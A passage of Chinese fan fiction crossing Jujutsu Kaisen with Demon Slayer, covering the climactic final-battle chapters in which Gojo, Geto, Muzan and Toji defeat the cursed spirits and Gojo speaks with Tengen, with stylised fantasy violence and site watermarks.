瞬间,纯白的空间自她之处开始发散,直至这抹白延展、闭合,将在场的四人完全笼罩在内,像是纯洁的囚笼。 在这片纯白之下,还有细细密密的黑。仔细看去,这是密密麻麻的昆虫神经,几乎遍布整个空间。 那纤细的枝杈似乎随着万的呼吸而颤动,像是心跳的节奏,连绵不绝。 胖达一拍脑袋,颇为沮丧地说:“糟糕啦,是领域。” 乙骨忧太紧紧咬着牙,指尖攥紧了刀柄,警惕地盯着浮在半空中的万。 他试图避开这无处不在的昆虫神经,但横刀砍了几下,这方空间纹丝不动。 “真是不好意思,本来还想和你多玩一会儿。” 万懒洋洋地说,语调被她拉长,显出几分慵懒,还有强者的压迫感。 “唉,虽然我是无所谓的啦,虽然你的咒力足够雄厚,但谁让你才十几岁呢?能做到这种地步,已经很了不起了哦,小弟弟。” 铠甲遮盖了她的全貌,但仍旧能辨别出,这人在笑,病态地笑着。 “姐姐也想好好疼爱你啊,但是呢,要怪就怪我们不是一个阵营的吧。” …… 此时此刻,地下空间。 万在外面协助拖住较为麻烦的乙骨忧太,而真人则负责潜入盗取宿傩的手指,为了复活宿傩作准备。 用作复活的受□□,则交给那个渴望与宿傩一决胜负的鹿紫云一带来。 那么现在的问题就是…… 真人皱着眉头,原来纤细的手臂猛的胀大变长,向仍旧半跪在地上的禅院真希袭击而去。 但半途中,这道攻击被咒骸打断,这种用咒力驱动的小东西,不受他的术士影响,给他造成了极大的麻烦。 对方两人奈何不了自己,自己也容易被牵制。如果不是因为自己也有改造人,这场战斗谁胜谁负还无可知晓呢。 真人撇了撇嘴,略显无奈地摊着手。 “哎呀哎呀,怎么办呢,打不过呢~” 下一秒,笑声乍现,真人的速度陡然拔高,四肢缩了进去,把身体团吧团吧塑成一个球,向着夜蛾正道的方向滚去。 就像是打保龄球一样,巨大的真人球咋开路径上想要阻拦他的咒骸,直直冲到他面前。夜蛾正道连忙闪避,但还是不及对方滚动的速度。 恰巧此时,一旁的禅院真希试图直起身子,但她的大腿小腿上扒满了密密麻麻的改造人。 改造人死死缠住她的双腿,身体嵌入地面,粘稠的血浆喷涌而出,一边纠缠一边痛苦地哭着,给禅院真希的心灵带来不小的摧折。 就是这两三秒的时间,真人已经来到夜蛾正道的面前。 “嘻嘻,骗你的哦~” 从那圆滚滚的大球里,先是真人的脸浮了上来。再一圈,两只手臂出现,然后变得细长,试图抱住对方的身体。 不能,碰到他…… 意识这样告诉自己,但身体已经无法跟随头脑及时运转。 该死。 真人的掌心已经碰到夜蛾正道的肩膀,五指用力,几乎要嵌入血肉之中。 真人的脸还没有完全成型,下脸颊和下巴耷拉着,像是快要融化的腊。 快了,就快了。 他已经碰到敌人了,咒力像是找到了宣泄的出口,一股脑地涌向掌心,“无为转变”就要脱口而出。 但是,就是在这时,危机感陡然爆发。 一张大手死死捂住他的嘴边,刚刚才凝聚起来的战斗意识被瞬间瓦解。 诶,不对,有碰到吗…… 真人徒劳地张了张嘴,下一秒,只听见“砰”的一声,来人掌中的脑袋轰然碎开,然后通过脖颈往下,一片又一片地炸开,直到整个存在都被彻底抹去。 夜蛾正道刚从死亡的笼罩下脱身,心有余悸地大口呼吸着,瞥见面前来人,惊喜出声。 “悟!” 五条悟咧着嘴,就像是很多热血青年漫里的主角一样,自信满满。 “嗯,是我。” 第79章 第 79 章 决战篇(2…… “你知道我有多爱她们吗?” 夏油杰半跪在地上, 怀里抱着静佳的尸体。 攻击刻意避开了四肢关节等地方,避免将这具身躯毁坏到支离破碎。 “你当然知道。” 怀中人的脑袋上被轰出了一道豁口,里面却没有鲜血, 而是一种透明的脑浆粘液, 从额头的缺口中流出, 顺着脸颊流淌而下,将那张原本清秀的脸染得面目全非。 “咔哒”两声, 额头上的缝合线崩开,接着已经破损的头盖骨挣脱了束缚,“噗通”一声落到地上, 溅起一片血沫, 然后又重重落下,散出最后一片红色。 十分钟前, 他踏着咒灵从高空跃下,穿过破碎的建筑残渣和穿梭其间的坚韧藤蔓, 来到咒灵纠缠的中心点。 他先是发现了地上躺着的枷场美美子。 少女的右眼被洞穿,细密的木屑嵌入血肉之中,生命与死寂纠缠着,仅剩微弱的呼吸, 胸口微不可见的起伏, 向来者表示她还留有一丝生命。 夏油杰蹲下身子, 细细看去,美美子上下唇瓣颤抖着, 说不出一个字。 他选择留下两个一级咒灵看守, 再联系离这里最近的后勤医护人员。 “后勤没法派人来吗?” 夏油杰紧皱着眉头,听着电话那头的声音,一颗心几乎沉到了底下。 “家入医生那边遭到了特级咒灵的攻击, 目前整片建筑几乎被火焰包围了,我们的人无法突入,生死不明。” “特级咒术师正在赶往的路上。” …… 身后有破空声传来,那是沾染了血色的藤蔓。不必回头,夏油杰两刀将其斩断,再挡下高处坠落的碎石。 “特级。” 同个意义而不同音节的话语从相异的双方口中说出。 夏油杰眯着眸子打量对方,强压下心底的担忧。 “不过,咒术高专那边传来消息,五条大人已经带着学生们赶过去了。 夏油大人,您那处是否需要人手支援?” 在同敌人对峙的间隙,夏油杰向对面吩咐到—— “带个有治愈能力的咒术师赶来盘星教,其他的我自己解决。” “人类。” 花御再度开口。 近几年,在咒术界的协助下,夏油杰降服了数个特级咒灵,其实力相比之从前有了翻天覆地的变化。 所以,是什么让他的敌人认为,仅一位特级咒灵,就能解决自己? 但夏油杰仍没有懈怠,他只是疑惑,并且这疑惑随着交手的深入愈发的强烈。 一只特级咒灵配合夏油杰的攻势,另有两只特级咒灵拦在对方逃跑的路上。花御避无可避,双臂之上瞬间缠绕起一圈一圈的藤蔓,用以抵消夏油杰的攻击力道。 随后它的顺势身体向后退去,试图逃离。但夏油杰布下的咒灵阻拦住了道路,逼迫花御不得不先解决拦路的咒灵。但就是这短短的三四秒钟,夏油杰就已经势如破竹,冲到花御的面前,一刀洞穿了它的整个胸膛。 夏油杰面无表情地抽刀回防,砍断了垂死挣扎的疯狂的藤蔓。在破碎的残肢间,他发现了被花御挟持的两个女孩。 一个是枷场菜菜子,她的鲜艳的黄色上衣已经沾染了大片的污渍,低垂着头,生死不明。 静佳跪坐在她的面前,用上半身护住她。 夏油杰的目光落到两位女孩身上,担忧的神色在触及静佳身上大片大片的血渍、和洞穿她胸口的藤蔓后,化成了深深的悲伤和自责。 随手将花御制作成咒灵球,注意力不在咒灵身上的夏油杰,自然没有看见特级咒灵临死前的目光,没有看见她仇恨又憎恶地看向相拥的少女们。 “糟糕了,如果硝子在的话……就不至于这么狼狈了吧。” 夏油杰无奈地叹了口气,蹲下身检查静佳身上的伤口。 但当他将少女拥入怀中的时候,剧烈的疼痛却贯穿了整个胸膛。 夏油杰瞳孔骤缩,十指瞬间收紧。 血液和汗水混合,其下掩盖的是少女锐利的目光。 所以,当他被贯穿心口的时候,在想些什么呢? …… “夏油老师。 您有空吗?我只需要两分钟汇报情况,不会影响到你出任务的。” 「大多时候,孩子们心里都有疑问。 我们如此努力地学习、训练、战斗, 究竟是为了什么?」 “小五的事情,我已经安排好了。 入殓师为他画了好妆,大红酸枝的骨灰盒,安置在盘星教南边的墓地,下午能晒得到暖和的太阳。” 夏油杰低垂着眼,指尖划过光洁的照片边沿。 “还有几个小家伙受了伤…… 嗯……一个被捅穿了肩膀,阿紫的小腿骨折了。 要不要联系硝子医生?” 「我像一个愚蠢的刽子手,自作聪明、自以为善良地为仍旧微小的幼苗打造一座温暖的棚子,却只是为了让他们在离开之后,被从天而降的雨水淹没。 但这雨避无可避。 这恐怖平等地笼罩在每一个人身上。」 夏油杰仍旧低垂着眼,“稍微治一下,确保不会落下残疾之后,让他们住院去调理一下吧。” “但是,夏油先生,凭您和家入医生的关系,她应该不介意,嗯,为孩子们治疗的吧。 ……您为什么?” 咒术界本就缺少人手,家入硝子则是属于整个咒术界的财产,她能无差别用反转术式治愈他人,所以咒术师无论受了多么严重的伤,都能在短时间内完全恢复。 痊愈后的咒术师能更快速地投入下一份工作。 这是个好事,是个好事。 嗯,是个好事。 所以,当他再一次感受到彻骨的伤痛的时候,会想什么呢? ——属于我的报应,终于来了吗? 死于所爱之人的手下,死于自以为是的理想。 少年人不知天高地厚,总以为自己是独一无二的那个,总以为少年的梦想足以跨越一切壁垒,直抵梦之所向。 但只有当他们被冰冷的刀刃刺入血肉,呼吸逐渐停止,到了生命的最后一刻,才会发现自己同所谓的群氓没有差别。 我把他们当成年少时候的自己,拼了命想去救下一个无辜的生命,仿佛这样,就能填补年少时候就已破碎的真心。 所以……你在怪我吗? 怪我将你们从群氓中救出,却没有能力拯救你们所有人? 是否只有合上双眼,捂住耳朵,闭起嘴巴,封闭心灵,将自己也泯然于众人,才是最好的选择? “该死……” 现实世界中,操纵“静佳”身体的“羂索”,此刻正满脸愤怒地半跪在地上,拼命试图夺回身体的控制权。 她手中的刀自刺入夏油杰体内的那一刻就无法动弹,是这具身体的残念在作祟。 屋漏偏逢连夜雨,许是回光返照,原本倒在后面的枷场菜菜子不顾满脸鲜血,艰难地举起手机,咬着牙说到。 “无论你是谁,休想……伤害夏油大人!” “蠢货。” 羂索哑着嗓子骂了一句。 死了就是死了,死躯的残念哪怕再强烈,也不过是断头的苍蝇,随手就可抹去罢了。 但她的手还是动弹不得…… 因为夏油杰死死攥住了她的手,然后,睁开了眼。 …… 我的人生,从加入咒术高专的那一刻才真正开启,不至于如没有灵魂的躯壳那般行走于世间,泯然于众人。 而这个人生结束过两次。 第一次是被伏黑甚尔打败,如废物般昏倒在薨星宫中。此后,我开始怀疑自我的正当性,怀疑自己所经历的是否只是茫然将死之人脆弱的梦。 第二次则是现在,被自己教养的学生杀死,生命走上了轮回。那一刻,我开始怀疑自己的理想,怀疑自己付诸的事业,是否只是弱者的自我感动。 当我这么想的时候,我的面前出现了无数哥人,无数张不同年龄、不同样貌的脸。我记得他们,他们死在正午的骄阳下,也死在幽深的黑夜,昨天还向我招手问好的人,第二天就可能死无全尸,于是我又想,这是否太不公平了? 凭什么那群怪物能扎根于人类本身,轻而易举就能自我恢复,不灭不休。而人,善良而坚定的人们,我的学生,我的朋友,却只能死在无人能见的幽冥? 可我在为他们哭泣啊,这哭泣本身有错吗? 谁人锚定世界的命运,谁人为我们扣上枷锁? 若这世界当真有情,又何至于让祂的造物苦苦挣扎于无法反抗的命运? “晚安,静佳。” “老师为你报仇了。” 或许,在觉醒反转术式的那刻,强烈的执念让他能够用以治愈他人。 夏油杰先为枷场姐妹治疗伤口,然后抱起静佳是尸体。 “夏油大人……” “不必自责,她应该在很早的时候就被取代了。” 这么想来,夏油杰沉下了脸。 按照目前体现出的情况来看,现行的咒术师系统之中必然还有敌对势力的暗线,不可不防。 几人踏上飞行咒灵。事情有点过于冗杂了,夏油杰急于赶往家入硝子所在的地方,但静佳的尸体需要处理,他也不想将菜菜子和美美子带到过于危险的地方。 就在夏油杰沉思之际,远处的大楼轰然倒塌。 ……?什么动静。 第80章 第 80 章 决战篇(3…… 按照那些残党的想象, 封印五条悟,使之无法掌控全局;囚禁鬼舞辻无惨,为加茂家的实验添一份助力;替代夏油杰, 夺取其在凡众之中的势力与声望。 至此, 加茂家就能重新夺回对咒术界的掌控权, 而不至于龟缩在五条家之下瑟瑟发抖。 但梦总是美好的,事实上, 在用他们完成计划的一环后,这群人就无用了。当初将他们藏在陀艮的领域内,除了隐蔽这一个功效外, 就是为了在一切结束后能更加方便地解决这群人。 顶天了不过一级咒术师。 “咕噜咕噜咕噜咕噜……” 陀艮试图联系真人, 或者花御?漏瑚制造的火焰还在燃烧,应当没有问题。 但是另外两个呢? 意识到自己的家人可能已经遭遇不幸, 陀艮皱巴巴的眼睛里也渗出了泪水。并且在这个时候,那群人类的话语就更显得叽叽喳喳, 令咒灵烦躁了。 陀艮:愚蠢的人类。 为了完成如今的布局,咒灵们不得不借用这群人类的力量,如今也不指望他们能对五条悟一行人造成威胁。 既然如此,都杀了也无关大局。 已经处于领域之中的, 杀起来很方便。位于领域外的, 也没有多麻烦, 顶天了就是一群疏于训练的二级咒术师。 所以陀艮杀死了他们,就像海水吞噬了一片浪花。 希望他们来生能明白, 一切的争斗都应该止于集体的内部。而面对外来的怪物, 除了殊死抵抗,其余的任何选择,都只有粉身碎骨这一个结局。 陀艮从无如此急切地感觉到, 现在要立刻去和漏壶集合,再联系里梅。花御那边针对夏油杰的行动估计也失败了,真人,还有真人,真人还活着吗? 一切皆因可恶的人类。 不仅抢占了咒灵的地位,还要对咒灵们赶尽杀绝。 绝对不会放过你们的! 咒灵的怨恨,历经百千年而不休! …… 不久之前。 鬼舞辻无惨有些惊讶地看着手腕上流转的淡蓝色咒力,并凭借意念令其流转全身。 许是二人身上的咒力出于同源,也有可能是因为长年累月进食五条悟的鲜血,湛蓝色的咒力将二人连接。 耳边响起清澈的低语,好比情人间的呢喃。 “真的成功了。” 下一秒,以鬼舞辻无惨为中心,及其恐怖的咒力波动蔓延开来。 “虽然不知道原理是什么,但无所谓。” “毕竟,对我来说,对抗领域的最好方式,就是用领域对抗领域。” “准备好了吗?” 远处,相距千里的某处,孤零零的黑匣子死死贴着地面,周遭的大理石被轰砸出残破的裂痕,它的发动者对囚禁着最强之人的器物毫无办法。 许是故意折磨人,狱门疆内部的空间极为狭窄,苦了我们人高马大的五条老师。 五条悟背靠着墙,双膝屈起,为了不磕着脑袋,被迫弯着上半身,低垂着头。双手无处安放,一只掌心向内,贴着腹部,另一只搭在膝盖上。为了让脖颈不至于太酸痛,五条悟把额头抵在搭着膝盖的那只手的手背上。 五条悟的声音陡然变得冷冽刺骨,像是从无尽的虚空之中传来。 “领域展开,无量空处。” 刹那间,锁住鬼王的领域碎成千片。 地铁站里,冰凉的、融化的水浅浅地埋了一层,滴答滴答,沿着边线坠落。下一刻,空旷的场地回荡起清脆的脚步声。 一下,两下,直到有人立于狱门疆前。被困的秘境被五条悟破开后,鬼舞辻无惨立刻赶到这里。 那小匣子外壁上的眼睛猛地张开,眼珠子滴溜溜地转着,眼角向四周延展。 五条悟食指一抬,狱门疆从地上飞起,安安稳稳地落入了鬼舞辻无惨手中。 “所以,你在里面?” 血色的眸子同狱门疆之上的眼睛对上了视线,恍惚间,无数双眼眸开始颤抖,被撕裂,紧接着又疲惫地闭上。 “……显而易见?” 五条悟的声音甚至带着几分笑意。 “哼。”鬼舞辻无惨轻哼一声,他的声线一如既往,仿佛什么危难都未曾发生,“你似乎还挺轻松的,看样子不需要我的帮助了?” “别啊,亲爱的……” 五条悟指尖一颤,右手指腹相捻,像是摩挲着那人柔软的卷发。 狱门疆,源信和尚圆寂后所所化的特级咒物,如今,它的内部囚禁着如今的最强之人。 鬼舞辻无惨将狱门疆握在手里,随即一个动身,躲开了袭击来的冰锥。 “试图拿走狱门疆,问过我的意见了吗?” 里梅于暗处现身,寒意于她的掌心凝聚,带来一片死寂,她的脸上满是不甘。 她的愤怒得了鬼舞辻无惨一个瞥视。 里梅现在几乎要抓狂。 鹿紫云一并没有按照约定将虎杖悠仁带来,真人和万也没有按照约定时间带来宿傩大人的手指。 他们被谁拖住了?咒术界哪来的这么多人? 为了制造能威胁整个日本的咒灵危机,这近十年来,加茂家在羂索几人的协助下,收集了三千多只不同等级的咒灵,只是为了在最关键的时候桎梏住五条悟。 结果现在,事实告诉他们。 这一切都是徒劳?怎么可能? 哪怕他们困住了五条悟,仍有人能站出来暗处阴影的侵蚀。 可是这不对!这和他们收集到的情报有出入。 现在,他们手上唯一的筹码也要失效了…… 该死,该死!那家伙不是确定自己困住鬼舞辻无惨了吗?!为什么会让他出现在这里! 不行。 绝对,不行! 里梅强迫自己冷静下来。 里梅恶狠狠地盯着鬼舞辻无惨,试图从他的脸上找出一点思索的神色。 “你凭什么觉得自己能打开狱门疆?” 鬼舞辻无惨瞥了她一眼,在他手上赫然出现了一把刀。 是天逆鉾。 但这一幕却让里梅瞳孔骤缩。 “天逆鉾?这把刀不是已经被五条悟毁了么!” “你说这个?” 鬼舞辻无惨的嘴角勾起一个意味不明的笑。 “是特意让伏黑甚尔散布出去的假消息。” 不仅如此,还包括诸如“三人组内部不和,鬼舞辻无惨试图退出咒术界”,“各地咒灵活动激增,咒术师死伤惨烈”,“大批咒术师选择退出咒术界”,等等。 “再提一嘴,为了避免惊动你们在咒术师系统内部安插的探子,我们还安排了不少人手潜伏在普通人之中。” 天逆鉾锋芒毕露,瞬间自上而下贯穿了小小的狱门疆,随着一阵令人牙酸的血肉交织的声音,狱门疆被迫打开,一个高瘦的人影随即出现在原地。 “毕竟,为了避免被黑暗中的老鼠咬瞎了双眼,我可是很谨慎的啊。” 五条悟有些神经质地笑了一声。 接下来的情节肉眼可见,两位毫不避讳,光明正大地二打一群殴里梅女士,直接结束了战斗。紧接着从地铁站外涌入了几队五条家的人,他们负责为家主大人带来最新的情报,并处理现场。 “为什么没有那种打一个响指,所有敌人就都会死掉的咒术呢?” “敌人总是像阴沟里的老鼠一样时不时会出来偷几粒玉米,杀也杀不干净。” 脱离狱门疆不久的五条悟,此时正耷拉着手缠在鬼舞辻无惨的身上,在对方耳边碎碎念。引得鬼舞辻无惨抵着他的额头疑惑发问,“你在里面待傻了?” “……只是有点不适应。” 五条悟眨巴眨巴眼睛,长而翘的白色睫毛仿佛蝴蝶扇动着翅膀,昭示着这人鲜活的生命。 “当然,如果某人能大发善心安慰我一下,那就太好了。” 鬼舞辻无惨面无表情地将实时展现各地咒力浓度的电子屏递回给五条家主,稍后,语气似乎有些许的迟疑。 “五条,你现在……” “我没事,没有在强撑。” 五条悟打断了他们话。 “啊,你知道我最受不了你那种表情了嘛 ~ ” 五条悟心满意足地扒拉在他身上,毫不顾忌地蹭着他的发顶。 “……晚点见,悟。” “收到!” 五条悟比了个大大的“耶”。 稍后,鬼舞辻无惨有些狐疑地看向五条家主。 “你说,需要给他治治脑子吗?” 五条家主不慌不忙地回应:“家族内不缺少精神方面的专家,但悟从来不是一个会轻易袒露真心的人。” 鬼舞辻无惨点点头,将目光移到玻璃窗外,远处,巨大的火光划分出一片绝对的禁区,将里外隔绝,非特级咒术师不可与之抗衡。 “九十九由基刚结束面对国际咒术师协会的质询,现在正在赶来的路上。同时,五分钟前,夏油杰也动身赶往这里。” “虽说已有两位特级咒术师的支援,但,这里面困着家入硝子,还有数以万计的普通民众。” 鬼舞辻无惨摁掉平板,声音平静。 “按你们的情报,于此处肆虐的是一位天灾级别的特级咒灵,象征着人类对大地的恐惧。” “反正其余的杂碎掀不起风浪,而悟又必须去一趟高专,由我来也正好。” “我比较直接,只要将制造问题的那些家伙杀掉就好了吧。”【你现在阅读的是魔蝎小说 moxiexs】 【全文完结】 第81章 第 81 章 …… 如果有百分之一的可能, 你能成为天下人的英雄,收尽赞美、掌声与鲜花,而代价不过是可能丢掉自己庸俗的、碌碌无为的一生。 你会如何下注? 伏黑甚尔告诉你, 这就是特么的人生。 你永远想不到命运会在什么时候给你来上一计迎头痛击, 命运将他贬入尘埃, 带走他的爱人,消抹他的尊严, 然后再告诉他: 你本就如此。 你渺小、卑贱,生于咒术师世家却是零咒力,藏身于普通人却日日夜夜与杀戮作伴, 你存在的唯一价值, 就是被上位者踩在脚下,成为涟漪中心那颗下沉的石子。 伏黑甚尔的脑子里隐隐有种预感。 他的生命在多年前的那个下午, 早就应该结束了才对。 自那以后的人生,就好像脱缰的野马一样。 你能想象吗?掌控咒术界的三大家族在一夜间崩塌, 五条家一家独大。某个被寄予厚望的“六眼”整天沉溺于谈情说爱,另一个平民天才开了一家又一家孤儿院,完全一副人民的好教师的模样。 靠啊。 明明早就想退休了,明明一点都不想再给咒术界, 给那个白毛混蛋打工了。 但是, 在看见那群只有十几岁的孩子一个接一个上去送死的时候, 还是没法老老实实当缩头乌龟啊。 或许跟正常人生活久了,连自己这样的渣滓都能拾起正常人的尊严了。 代价么…… 眼前是模糊的血色, 夹杂着冲天的火光, 身躯一旦沾上一点就无法熄灭。 为了摆脱顺着左臂逐渐向身躯蔓延的火焰,伏黑甚尔硬生生砍下了自己的手臂,细细密密的痒意痛苦直达中枢神经, 让他知道自己的自愈能力依旧在起效。 痛苦和残缺并不影响暴君的战斗,反倒是让伏黑甚尔的脸上露出一抹近乎嘲讽的狂傲。 “这种程度的压迫感,在特级咒灵里面也算顶尖的了吧?” “就这?” “哈哈哈哈哈哈哈!!!” “连我都杀不死,你也不怎么样啊哈哈哈哈!” 伏黑甚尔的对面,漏壶被气得物理意义上的三头冒火,连原本青灰色的脸都变得通红。 已知,相比于人类咒术师,咒灵的优势在哪里? 几乎是与生俱来的反转术式,足够浓厚的咒力,与根植于人之恐惧的“不死”。 咒灵没有死亡,正如人类的恐惧没有尽头。 但这人,不用咒力攻击、强大的肉身强度、诡异的自愈能力,和,近乎自毁式的攻击方式。 百分之一的可能,他能拖到支援赶到,无论哪个特级,到场之后应该也没脸还让自己对付这种程度的咒灵。 等等,如果来的是五条悟,说不定真的干得出来这种事…… 伏黑甚尔及时地停下自己漫无边际的思绪,转而换上了最严峻的态度。 百分之九十九的可能,在支援赶到之前,敌人率先被他激怒,不惜代价也要弄死他。 比如,领域展开。 所以没有咒力就是这点不好,攀上咒术顶点的存在始终有筹码,能粉碎一切的挣扎。 所以在红色彻底将周遭包裹起来的时候,伏黑甚尔始终仰望着天空,期待着能终结一切的人的到来。 “我没时间陪你过家家。” 漏壶的声音听起来满是怒火。 “咒术师杀死了我的同伴,破坏了我们的计划,仅仅只是杀死几个咒术师和普通人类,远远不够偿还代价。” 周围的温度陡然升高,高到了难以忍受的地步。伏黑甚尔似乎听到了连绵不绝的气泡声,他的血管不断地炸开,又在鬼血的作用下重新修复。来回的不断拉扯所带来的痛苦,几乎能摧毁普通人的意志。 于领域中发动的咒术,本身就附带“必中”的效果,哪怕他再怎么矫健,怕是也躲不过了。 结果到了最后,还是因为尊严,选择了去死么? 这该死的命运。 生命的最后,他似乎听到了,遥远的声音,在他耳边回响。 …… 干啊!为什么走马灯的时候听到的声音既不是他老婆的,也不是他儿子伏黑惠的。 为什么是鬼舞辻无惨那个混蛋的声音啊?! …… 不对! 好像不是幻听? 鬼舞辻无惨森然的声音确实清晰、准确地传达。 “怎么,你脑子也被烧坏了?” 伏黑甚尔不清楚对方做了什么,但他感觉得到,自己的心脏开始规律地跳动,一下,两下,愈发强劲,带动全身的血液一起鼓动,欢腾。 是生命,超乎想象的生命力。足以让任何人觊觎的,生命最初始的律动。 伏黑甚尔用力握了一下拳头,感受着纯粹的精神的欢愉。 “这点火焰,远远不够看啊。” 鬼舞辻无惨不屑的声音再度响起,好似那个环绕式的音响,引得伏黑甚尔狂翻白眼。 “总之,解决它。” “不用你说。” 伏黑甚尔花了几秒来适应这幅身躯,随后五指一握,随着心意变换双手的形状,普通的咒具在进入领域的瞬间就被高温摧毁了,但没关系,没有什么刀剑能比得过这血肉筑成的武器了。 伏黑甚尔咧开嘴,不再思考无关紧要之事。 该说不说,领域展开还是蛮费咒力的。 漏壶不清楚对面那个已如风中残烛的人类,为何突然得到了增强,但这不妨碍他对局势的判断。在意识到自己的火焰无法造成威胁后,漏壶选择关闭领域。 陀艮不久前已经在向这边赶了。 人类有句话怎么说的来着。 留得青山在,不愁没柴烧。 但在领域彻底关闭,双脚触及地面的那一瞬间,恐怖的危机感从身后传来。 一只苍白的手搭上了漏壶的肩膀。 随之而来的仿佛是恶魔的低语。 “晚上好。” 然后,漏壶感觉到自己浑身的血液在瞬间沸腾,仿佛千百万只飞蛾,在名为血管的通道之中扑腾,带着它的意识不断下沉。 它看见了“大地”。 然后,咒灵的身躯如同失去支撑的沙堡,一哄而落,飘散后再无踪迹可寻。 好不容易赶来的陀艮看到的就是这一幕。 那一瞬,巨大的悲伤和愤怒湮灭了咒灵的脑子。陀艮不顾一切地向鬼舞辻无惨探出触手,试图杀死他。 但正因如此,它忽视了身后的威胁,任由靠近的咒灵将其洞穿。 夏油杰自空中降落,不慌不忙地收起了陀艮变成的咒灵球。 “看来有人来迟了。” 是的,若是九十九由基女士能赶到现场,势必会强烈要求换个人替代她去和国际咒协打交道。 …… 东京咒术高专。 处理完敌人,安排人手治疗仍在昏迷的禅院真依,安抚方才经历苦战的孩子,检查咒高负责看守的咒物是否有遗失。 五条悟有条不紊地处理这一切,最后,在他面前的是一座黑暗的电梯。五条悟沉默不语,踏上这条熟悉的路。一步一步,沿着记忆里的路线,来到地下。 薨星宫。 “既然你都看在眼里,还不准备出来见我么?” 五条悟向着空旷的宫殿发问。 “并非是我不愿见你。” 天元的声音从无边处传来。 “我的灵魂已与这方天地融合,我无处不在。” “嗯嗯,那全知的你,在放任黑暗吞噬咒术界?” “你们这做的不是很好吗?” 天元反问到,她的声音听起来确实很高兴。 “五条,你们击败了宿命。” “这太好了。” 五条悟撇撇嘴。 这老不死的絮絮叨叨说了一大堆,最后的最后,她的声音有些迷茫。 “五条,我似乎有些悲伤。” “……你们接下来,准备做些什么?” 五条悟:“上上班,摸摸鱼,旅旅游。 五条家有家主负责,杰也肯定肯定放不下学校的事。 然后旅游的途中,稳固稳固势力,杀杀咒灵……” 五条悟双手抱胸,瞅了一眼时间。 半小时前,无惨那边就发信息说危机解决了。剩下的,怎么重建受损的居民区,如何和民众解释咒灵的存在…… 额,头疼,先让家主在前面顶着吧。 “那就好……那就好。” 五条悟脸上的表情顿时变得精彩起来。 天元的声音接着响起,断断续续,显得有些疲惫。 “我的意思是,这样就好。 继续去完善现在的制度,继续去做事。 不要停下来。” …… 等五条悟原路返回的时候,心头涌上一股怅然若失的感觉。 有什么东西即将结束。 旧的故事即将结束,新的故事还未开启。 他有些疲惫。 出口的地方,站着几个人。 鬼舞辻无惨照例闭目养神,只在他走进的时候才睁眼,漂亮的红色眸子里,平静依旧。 夏油杰在自己的电子设备上点点划划,接了个电话一边说话,一边向五条悟挥手。 夜蛾正道推了推眼镜,朝他笑着,既欣慰,又带着一脸庆幸。 还有忧太、胖达、棘,这几个没什么事,也没受什么严重的伤,听到几位师长要在这等五条悟,就一起跟来了。 …… 五条悟掌心揉过几位学生的脑袋,揽着他们的肩膀向外走去。 摆出一个阳光的笑容,得了夜蛾正道欣慰的回望。 特意凑到夏油杰身边,看了两眼他平板上密密麻麻的待办事项,猛地头皮发麻,打趣了一嘴“好辛劳的夏油师傅”。 鬼舞辻无惨直起身子,被他牵起手。 “现在怎么,回家?” 五条悟凑到他耳边说悄悄话。 “嗯,随你。”【你现在阅读的是魔蝎小说 moxiexs】